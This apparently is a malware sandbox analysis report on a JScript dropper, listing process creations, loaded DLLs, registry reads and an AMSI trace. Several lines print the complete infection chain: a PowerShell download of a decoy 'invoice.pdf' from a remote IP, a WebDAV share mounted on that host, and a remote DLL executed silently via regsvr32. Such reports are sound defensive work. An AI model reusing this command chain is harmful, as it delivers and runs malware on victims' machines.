Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ziu4nhrh.3be.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1688,i,10205647334591516316,599776967346867888,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1688,i,10205647334591516316,599776967346867888,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2714.js.csv");ITextStream.WriteLine(" entry:7136 f:levzdx");ITextStream.WriteLine(" exec:2 f:levzdx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
